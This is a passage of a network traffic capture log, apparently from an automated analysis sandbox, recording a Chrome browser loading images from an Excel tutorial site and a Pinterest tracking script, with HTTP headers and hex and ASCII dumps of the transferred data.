61 6e 64 65 78 63 65 6c 2e 63 6f Data Ascii: [{"age":0,"body":{"elapsed_time":858,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"162.159.135.42","status_code":400,"type":"http.error"},"type":"network-error","url":"https://earnandexcel.co
2024-04-11 21:26:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 11 Apr 2024 21:26:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.17	49921	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1282	OUT	GET /wp-content/uploads/How-to-Find-the-P-Value-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 37857 Connection: close CF-Ray: 872e0ea56a9719f7-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "66095c68-93e1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sun, 31 Mar 2024 12:51:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4SwCzqMFfTW9k3a2IvmwIFyaFyOgzMAyAmiX8nu941GHAk3vpN%2FLAWQ8FqeUETCxUNbWsBdbbfjuYTpjDUoA%2BKNvEGRK3l6rdaNhYb1fsdP2SX73TIuN7FiiVk2YGdx6XSM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec 9d 77 78 5d 57 95 b7 df 53 6e 6f ea 5d b2 24 5b 72 ef 3d b1 1d a7 f7 5e 08 49 80 d0 4b 08 0c 65 60 60 66 f8 60 68 03 0c 65 80 a1 77 02 09 84 90 5e 1d 27 8e ed b8 f7 22 17 59 b6 7a af 57 b7 9f f6 fd 71 e5 6b cb 92 1c 3b 71 95 f6 fb 3c 37 4f ac 7b ee 3e e7 ec 53 7e 7b ad bd f6 5a 12 0f 2d b4 10 08 46 01 aa ac f0 81 f9 37 f2 d9 25 f7 e0 77 7a 44 87 08 04 82 0b fb 9d 25 ba 40 30 5a d0 4d 83 47 b6 bd 82 43 b1 f1 d0 e2 db 85 08 0b 2e 72 2c 40 07 0c d1 15 42 80 05 82 0b 9f 88 16 e3 37 9b 9f 43 37 0d 3e 75 c9 9d 78 6c 4e d1 29 6f 81 a2 28 48 92 74 e6 64 c3 b2 b0 2c 0b d3 34 45 e7 be 83 6b 02 3a a6 f9 38 96 b5 75 40 8c 05 42 80 05 82 Data Ascii: PNGIHDRIDATxwx]WSno]$[r=^IKe``f`hew^'"YzWqk;q<7O{>S~{Z-F7%wzD%@0ZMGC.r,@B7C7>uxlN)o(Htd,4Ek:8u@B
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 5d e3 0f 1b 9f e7 2b cf ff 8a ee 48 50 74 88 e0 bc 88 aa 40 20 04 58 30 26 d1 0c 9d 3f 6e 7c 81 6f bd fc 07 fa a2 21 d1 21 e7 90 b1 6c fd 1a 86 4e 6f 5f 2f ed 1d ed c4 62 31 71 33 08 86 20 1c 1b 82 31 41 4c 4f f0 ab 37 9f c2 61 b3 f3 a5 ab df 87 d7 21 26 d5 4e 47 1c 2d cb 22 16 8b 21 49 12 0e 87 e3 94 7f 6b 59 d6 49 b7 35 4d 13 4d d3 90 65 19 55 55 07 6d fb 56 bf 3d 93 16 ea f1 c7 70 66 c4 d7 a0 a6 a6 86 dd 7b 77 13 89 46 99 36 79 1a 33 67 ce 7c 4b 97 ff c5 3c 60 31 e2 d0 13 06 af 0f 9c 36 f1 ce 39 91 44 14 fa 82 e0 cb 04 87 92 9c df 17 02 2c 18 33 44 b4 38 3f 79 e3 71 62 bd bd 2c 09 4c c6 86 0d 4f 46 31 d3 e7 4e 22 43 8a 53 57 bd 87 aa ba 6e 1c 9e 2c a6 cc 99 49 be df c1 c5 6c bf e9 ba 9e 74 7f 4a 12 0c 88 d9 f1 73 b2 a7 1b b0 d5 dc dc 8c c3 e1 a0 a0 a0 Data Ascii: ]+HPt@ X0&?n\|o!!lNo_/b1q3 1ALO7a!&NG-"!IkYI5MMeUUmV=pf{wF6y3g\|K<`169D,3D8?yqb,LOF1N"CSWn,IltJs
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 41 ed 0b d0 d3 0f bd 7b 61 77 14 ae 5e 92 b4 c4 8b 2a 61 d1 64 88 36 41 4f 1f 38 a6 c3 fc 1c 30 13 b0 67 2d 34 4f 80 8a 42 38 aa b1 2e 3f cc 5c 0c 56 04 9a 4f bc 64 12 04 0a 60 59 0e 78 54 d8 da 0f 3b 3b 41 73 40 a6 07 0e b5 40 64 32 d8 1d 42 80 05 63 94 de 68 88 6f be f6 38 37 a5 2f e0 fe 05 59 e4 aa 15 64 d4 6c 65 e5 0b 7d 58 3d 8d 74 c7 b3 88 c5 2d f0 5d 9c e7 a7 28 0a 95 15 13 90 25 89 5d bb 77 33 73 e6 0c c6 97 97 9f 92 a5 3b 92 5b b5 bd bd 1d 87 c3 81 d3 e9 3c a3 42 7c 74 ee 55 96 65 2c 40 d3 92 d6 f3 99 72 3d 9b a6 49 57 57 17 89 44 82 8c 8c 0c 9c 4e 27 fd fd fd b4 b7 b7 23 01 99 59 59 a4 a7 a7 a7 c4 f9 9d ba 81 6d 36 1b 09 2d 41 46 66 06 36 bb ca d6 6d db f0 b8 dd 98 a6 85 c7 e3 a6 b2 b2 72 44 ab fe b4 f7 6d 41 2c 0c 6d 6d 49 eb 14 29 29 72 c5 e3 Data Ascii: A{aw^*ad6AO80g-4OB8.?\VOd`YxT;;As@@d2Bcho87/Ydle}X=t-](%]w3s;[<B\|tUe,@r=IWWDN'#YYm6-AFf6mrDmA,mmI))r
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 8e 81 ee 55 54 88 75 c2 ca 67 c1 eb 84 f4 12 28 f3 c2 ee 3d c9 08 62 dd 80 09 8b 20 dd 09 92 01 1e ff 31 4b db e1 04 97 17 7a 83 10 f3 42 5b 14 16 de 00 4b a6 82 6a 41 fd 6e 58 b7 1f 9a 0e c3 1b 6b a1 53 01 69 23 d4 1c 80 59 53 a1 63 37 b4 f9 a1 d2 01 ee 49 70 e3 d5 49 d1 8a f7 c2 6b 2f 40 6b 07 8c f3 41 fd 61 48 2b 87 92 8c e4 7e db 6b 60 75 0d 64 e5 24 ad cb be 2a 78 e6 49 90 13 10 a8 84 02 19 56 be 09 07 fa 40 57 93 42 3f 71 1a 28 75 c9 39 e0 ec 2c b0 2b b0 6f 0b 3c 7e 28 29 ba e3 e7 24 f7 dd 7d 00 7a 24 58 58 9e 14 fb 68 0f 6c 5e 07 e9 73 21 53 86 0d 2b 61 e7 21 e8 b7 c3 0a 27 cc 1e 97 0c 6a 2b 9a 9f b4 dc 5f df 04 8e 5c d8 f8 3a ec c9 83 a5 f3 a0 af 07 ec 76 70 d8 8f be 7e 8e ab 07 bc 60 dc 54 32 3c 3e 5e d9 b7 09 d3 3a 56 c9 c4 a6 a8 dc 3a 63 19 fb Data Ascii: UTug(=b 1KzB[KjAnXkSi#YSc7IpIk/@kAaH+~k`ud$*xIV@WB?q(u9,+o<~()$}z$XXhl^s!S+a!'j+_\:vp~`T2<>^:V:c
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 1e ea c1 30 07 bb a2 bd 0e 17 4e d5 4e 67 b8 6f c8 8e b3 bd e9 84 13 d1 61 db cb f2 a6 d1 19 ea 45 3f c1 05 e8 b1 3b 71 da 1c 74 0d d3 9e 40 70 e6 1f 0e 89 6b 2b e6 f3 df d7 7f 94 4c 77 60 d4 9e e7 99 4e ae 71 d4 c2 33 4d 53 dc 44 ef e0 9a 1c ed 4b 31 ed 36 7a 19 34 3c bd 6d c6 65 94 66 e4 f3 df 2b fe 84 66 1c 73 1d 39 6d 0e fe ed ea f7 b2 f2 c0 66 5e ac 5a 3f a8 81 e2 f4 5c be 72 fd 07 f9 8f e7 7e 41 53 ef e0 28 e9 eb 26 2f 62 6e c9 64 fe f3 b9 5f 0e 12 53 87 6a e3 5f af ba 9f d5 87 76 f0 dc 9e b5 83 7e 53 9a 91 cf 97 ae 7d 1f ff f5 e2 ef a8 eb 6e 19 f4 dd 35 93 17 31 ab b0 82 ff 7a e9 77 a3 7e 7e 4e 70 fe b1 b0 58 59 b3 8d df 6c 7e 9e 7f 59 7a 0f ee 51 1e 94 75 c6 06 2e 03 62 7e b6 5c db 63 b1 2f 05 a3 93 41 d5 90 5a fa 3a a9 6a 3d 42 77 64 b0 05 6c 58 Data Ascii: 0NNgoaE?;qt@pk+Lw`Nq3MSDK16z4<mef+fs9mf^Z?\r~AS(&/bnd_Sj_v~S}n51zw~~NpXYl~YzQu.b~\c/AZ:j=BwdlX
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e9 a3 14 a6 65 0f f9 ee ba 29 8b f8 d4 f2 7b 86 b4 27 10 9c 4f e2 86 c6 23 bb 57 b2 af a3 ee bc bf 14 2c 2c 22 cd 55 6c 3e d0 81 d3 af b2 79 f3 0e 9a 3a c3 17 c4 aa 81 0b c5 b5 6a 18 09 12 72 3a 8b a6 5f c9 fd 4b 6e e6 dd f3 e7 92 19 a9 e2 f9 dd db 68 8d 24 10 6b 2c 92 77 92 11 eb 65 f3 33 bf e3 17 8f ae 20 30 ed 32 1e fe ec 67 f9 dc e7 fe 95 f7 bd ef dd 54 14 05 d0 13 fa 79 3d c2 0b c1 05 6d 99 1a e1 84 8d 89 cb 6e e7 93 9f fb 3c ff fa af 9f e2 23 f7 2e c1 56 bb 82 1f fe e0 e7 bc be a7 11 ed 24 87 39 48 69 9f d9 b5 1a 97 dd 31 a8 12 12 40 54 4b f0 3f af fd 95 de 48 ff 90 06 9a 7a db f9 ea 0b bf a6 35 d8 35 e4 bb 57 f7 6f 66 fd 91 3d 43 2c e3 84 9e e0 7f 5f ff 1b c1 58 68 c8 6f 1a 7a da f8 fa 4b bf a3 a5 af f3 94 db 13 08 ce 37 75 bd 6d fc 72 d3 33 7c fb Data Ascii: e){'O#W,,"Ul>y:jr:_Knh$k,we3 02gTy=mn<#.V$9Hi1@TK?Hz55Wof=C,_XhozK7umr3\|
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: c6 df 87 6d 6f c3 91 3d 6c ac dd 2b 82 49 04 17 3c a6 65 f1 fc fe 75 5c 3f 71 21 cb cb 67 9f d5 68 51 0b 88 f7 d4 b1 75 6f 1d de 09 37 33 a3 34 97 74 8f 3d 39 ef 64 59 28 93 66 33 a5 e8 05 76 ef da 4f cf 65 d3 70 07 ec 63 7c 18 6b 91 88 b4 b1 69 f7 1b 34 d6 ba c1 e8 a7 be bd 05 cd 3f 99 25 c5 c5 b8 45 da 30 24 24 dc b9 93 b9 fd 81 3b 68 fe f5 3f f8 d5 77 0f f1 46 d9 44 32 02 1a 91 b6 5e fa b2 2a b9 f3 ee bb cf bb 00 5f 08 5a 60 86 bb d9 bb f2 19 7e df b3 1d 3d 1e a4 ad b9 9e be 9e 30 b3 6e 7c 80 db 2f 9b 8a c7 36 f2 fd a4 b0 a0 e8 ab 67 e2 05 70 a6 5f 28 02 c1 c5 4e 4c 4f d0 19 ee e3 f2 f1 73 70 db cf 6e 0d dc 70 67 3d 0d 5d 21 a6 2f b9 86 e9 c5 19 a8 47 03 67 24 09 d5 6e c7 26 43 42 4a 63 e2 94 32 02 4e db 79 11 e0 58 2c 46 34 1a c5 e1 70 9c c7 74 8f 16 Data Ascii: mo=l+I<eu\?q!ghQuo734t=9dY(f3vOepc\|ki4?%E0$$;h?wFD2^*_Z`~=0n\|/6gp_(NLOspnpg=]!/Gg$n&CBJc2NyX,F4pt
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3f bf 9c a9 65 b9 d8 14 39 35 6c 88 86 7b 69 69 68 a0 b5 b3 17 cd 38 1f ca 22 61 77 b9 c9 cc 2b a4 30 2f 13 8f dd 8e 69 9a 84 bb 5a 69 ac ab a7 5b f1 51 54 36 91 42 57 14 33 dc 49 30 9a 38 27 79 e5 25 59 c5 13 c8 a0 a0 a8 90 ec 34 2f aa 2c 93 88 45 e9 6e 3c 42 43 5b 17 11 5d 78 3a 04 23 3c 6a a2 0b 04 82 f3 61 05 c3 96 ae c3 1c 0e 77 e0 cd 2a 62 da ec 79 4c 1d 5f 82 db 26 a1 6b 1a 8a cd 49 61 e9 38 b2 d3 9d c9 f4 89 48 c8 f2 39 5a 3d 2b c9 d8 dd 01 b2 73 72 c9 f0 3a 30 0d 1d 4b b2 93 5f 34 9e 19 33 26 53 98 e1 39 2f ab 78 6d 4e 1f a5 93 67 33 7b da 64 72 03 1e 4c 5d c3 34 2d d2 f3 8a 28 2d 4a c7 a6 48 c9 92 a5 32 9c b3 20 6b 49 c6 9f 5d c2 f4 39 73 99 5c 56 88 4b 05 5d d3 b0 39 dc 14 97 8d 23 2b 20 92 69 08 84 05 2c 10 5c 70 f4 69 11 5e eb 3a c8 6d 57 de Data Ascii: ?e95l{iih8"aw+0/iZi[QT6BW3I08'y%Y4/,En<BC[]x:#<jaw*byL_&kIa8H9Z=+sr:0K_43&S9/xmNg3{drL]4-(-JH2 kI]9s\VK]9#+ i,\pi^:mW
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9b de 4f ed 81 bd ec af ae 27 6c d8 29 2c 9d c2 8c 69 93 c8 f5 3b 86 17 34 0b 0c 2d 46 b8 bf 9f 60 57 17 4d 0d cd f4 69 16 f6 40 1a 69 2e db 39 7c 79 58 18 89 08 91 84 81 2c 3b 71 bb 6d 6f 1d e5 2c c9 38 7c d9 54 4e 99 4c 49 ae 8f 50 4f 2b f5 f5 cd f4 46 e2 03 22 6a 11 0f 77 53 b3 6f 0f d5 87 1b 89 4b 1e 4a ca a7 31 7d ca 04 32 5c 16 5d 4d 87 a9 da bb 8f d6 ee 28 de cc 12 a6 4e 9b 4e 79 61 26 76 e5 b8 7d 18 3a b1 58 0c cd 94 b1 3b dc 38 1c e2 75 2a 10 02 2c 10 5c 74 f4 26 a2 ac 6c dd 87 ac 24 85 54 96 55 5c 2e 17 0e 9b 72 c2 13 6b c3 e5 4a c3 a9 4a f4 b5 d4 b2 7f ff 21 1a 5a ba 89 19 66 ea 91 56 65 8b be f6 7a f6 ec da c9 9e 43 6d 18 b2 8f cc b4 0c dc 4e 15 2b 1e a4 b6 a6 8a ed 3b f7 d1 dc 6b e2 f5 e7 90 e9 b5 f3 d6 c5 89 64 14 9b 03 55 96 c0 34 d0 4c eb Data Ascii: O'l),i;4-F`WMi@i.9\|yX,;qmo,8\|TNLIPO+F"jwSoKJ1}2\]M(NNya&v}:X;8u*,\t&l$TU\.rkJJ!ZfVezCmN+;kdU4L
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ec 53 f2 f8 d2 dd 5f c0 ef f4 8c 8a 73 5a b5 6a 15 07 0f 1e e4 43 1f fa d0 3b 88 82 1e dd e8 ba ce af 7f fd 6b 31 40 11 02 2c 10 08 ce 27 3b db 0f 53 1f eb e2 8a 92 b2 51 f1 42 4e 4f 4f c7 e7 f3 91 93 93 83 a2 28 e2 02 0f 83 a6 69 78 3c 1e d1 11 63 04 31 0c 15 08 2e 50 7a 22 fd 3c b1 e3 75 12 86 58 de 22 10 08 01 16 08 04 e7 0c 0b 8b 97 aa d6 53 dd de 28 3a 43 20 10 02 2c 10 08 ce 25 f5 3d 6d 3c bd eb 0d 4c cb 14 9d 21 10 08 01 16 08 04 e7 0a c3 34 79 6a d7 6a da fb 47 4e cc 61 1d 2d 3c 10 8f 11 8b c5 89 27 34 0c d3 1a 28 b0 60 61 99 26 7a 22 4e 3c 16 23 1e 8f a3 eb c6 18 8b b2 3d b5 3e 48 a6 db d4 49 24 62 c4 62 31 62 f1 04 ba 61 8a 88 64 c1 59 43 04 61 09 04 17 38 7b 5b 0e b3 b6 66 27 77 ce ba fc 84 60 2c 0b d3 d4 e9 6d a9 e1 cd b5 cf b3 7a 5b 1d b1 a8 Data Ascii: S_sZjC;k1@,';SQBNOO(ix<c1.Pz"<uX"S(:C ,%=m<L!4yjjGNa-<'4(`a&z"N<#=>HI$bb1badYCa8{[f'w`,mz[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.17	49930	199.232.36.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	522	OUT	GET /ct/core.js HTTP/1.1 Host: s.pinimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:50 UTC	453	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4777 ETag: "5cbf03cebfa0140109cc42e210b55802" x-amz-server-side-encryption: AES256 Content-Type: application/javascript X-CDN: fastly alt-svc: h3=":443";ma=600 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 86400 Access-Control-Expose-Headers: X-CDN Vary: Accept-Encoding, Origin Cache-Control: max-age=7200 date: Thu, 11 Apr 2024 21:26:50 GMT
2024-04-11 21:26:50 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 69 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 28 69 5b 6e 5d 7c 7c 28 65 3d 69 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 5b 6e 5d 2e 63 61 6c 6c 28 65 2e 65 78 70 6f 72 74 73 2c 65 2c 65 2e 65 78 70 6f 72 74 73 2c 72 29 2c 65 2e 6c 3d 21 30 2c 65 29 29 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 69 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 72 2e 6f 28 6e 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 7d 29 7d 2c 72 2e 72 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 6e 64 65 66 69 6e Data Ascii: !function(t){var i={};function r(n){var e;return(i[n]\|\|(e=i[n]={i:n,l:!1,exports:{}},t[n].call(e.exports,e,e.exports,r),e.l=!0,e)).exports}r.m=t,r.c=i,r.d=function(n,e,t){r.o(n,e)\|\|Object.defineProperty(n,e,{enumerable:!0,get:t})},r.r=function(n){"undefin
2024-04-11 21:26:50 UTC	1378	IN	Data Raw: 6c 6c 28 6e 29 2e 73 6c 69 63 65 28 38 2c 2d 31 29 29 26 26 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3f 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3a 74 29 7c 7c 22 53 65 74 22 3d 3d 3d 74 3f 41 72 72 61 79 2e 66 72 6f 6d 28 6e 29 3a 22 41 72 67 75 6d 65 6e 74 73 22 3d 3d 3d 74 7c 7c 2f 5e 28 3f 3a 55 69 7c 49 29 6e 74 28 3f 3a 38 7c 31 36 7c 33 32 29 28 3f 3a 43 6c 61 6d 70 65 64 29 3f 41 72 72 61 79 24 2f 2e 74 65 73 74 28 74 29 3f 69 28 6e 2c 65 29 3a 76 6f 69 64 20 30 7d 28 6e 2c 65 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e Data Ascii: ll(n).slice(8,-1))&&n.constructor?n.constructor.name:t)\|\|"Set"===t?Array.from(n):"Arguments"===t\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(t)?i(n,e):void 0}(n,e)\|\|function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.
2024-04-11 21:26:50 UTC	1378	IN	Data Raw: 28 29 3c 28 6e 7c 7c 30 29 7d 2c 6e 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 76 61 72 20 69 3d 74 28 30 29 2c 72 3d 7b 7d 2c 6f 3d 22 75 6e 6b 6e 6f 77 6e 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 6e 2e 76 65 72 73 69 6f 6e 3d 6f 2c 31 30 30 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3c 28 69 2e 4c 49 53 54 2e 53 45 4e 44 5f 4c 4f 47 53 2e 63 68 61 6e 63 65 7c 7c 30 29 26 26 72 2e 76 28 6e 29 7d 72 2e 73 65 74 56 65 72 73 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6f 3d 6e 7d 2c 72 2e 76 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 31 2c 65 2e 6f 6e 65 72 72 Data Ascii: ()<(n\|\|0)},n.exports=r},function(n,e,t){var i=t(0),r={},o="unknown";function a(n){n.version=o,100*Math.random()<(i.LIST.SEND_LOGS.chance\|\|0)&&r.v(n)}r.setVersion=function(n){o=n},r.v=function(n){var e=new window.XMLHttpRequest;e.withCredentials=!1,e.onerr
2024-04-11 21:26:50 UTC	643	IN	Data Raw: 28 6e 2c 65 2c 74 29 7b 76 61 72 20 69 3d 7b 7d 2c 72 3d 74 28 31 29 2c 6f 3d 2f 68 74 74 70 73 3f 3a 5c 2f 5c 2f 73 5c 2e 70 69 6e 69 6d 67 5c 2e 63 6f 6d 5c 2f 63 74 5c 2f 6c 69 62 5c 2f 6d 61 69 6e 5c 2e 5b 30 2d 39 61 2d 66 5d 7b 38 7d 5c 2e 6a 73 2f 67 3b 69 2e 73 65 6e 64 45 76 65 6e 74 49 6e 66 6f 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 74 3b 6e 26 26 6e 2e 62 6c 6f 63 6b 65 64 55 52 49 26 26 22 68 74 74 70 73 3a 2f 2f 73 2e 70 69 6e 69 6d 67 2e 63 6f 6d 2f 63 74 2f 6c 69 62 2f 6d 61 69 6e 2e 34 37 30 31 66 64 30 30 2e 6a 73 22 3d 3d 3d 6e 2e 62 6c 6f 63 6b 65 64 55 52 49 26 26 28 65 3d 22 44 69 72 65 63 74 69 76 65 3a 20 22 2b 6e 2e 65 66 66 65 63 74 69 76 65 44 69 72 65 63 74 69 76 65 2b 22 20 44 69 73 70 6f 73 69 74 69 6f 6e 3a Data Ascii: (n,e,t){var i={},r=t(1),o=/https?:\/\/s\.pinimg\.com\/ct\/lib\/main\.[0-9a-f]{8}\.js/g;i.sendEventInfo=function(n){var e,t;n&&n.blockedURI&&"https://s.pinimg.com/ct/lib/main.4701fd00.js"===n.blockedURI&&(e="Directive: "+n.effectiveDirective+" Disposition:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.17	49931	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1288	OUT	GET /wp-content/uploads/How-to-Create-a-Control-Chart-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 92730 Connection: close CF-Ray: 872e0ea62d56431f-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "6607e72a-16a3a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 30 Mar 2024 10:19:22 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvxvyf4fUQSVoZ6LXUuMGShJ%2BVmYRRAOvVJ2n%2FQ0xVB9Jrk4WLl4Y73SdmCUl8%2B29zEifZYvRHcbPvnmLENfCO0i4HFUQjhC9vbk%2BocO7jMFCfUbohr7cjLOoitR0%2F1bYyA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
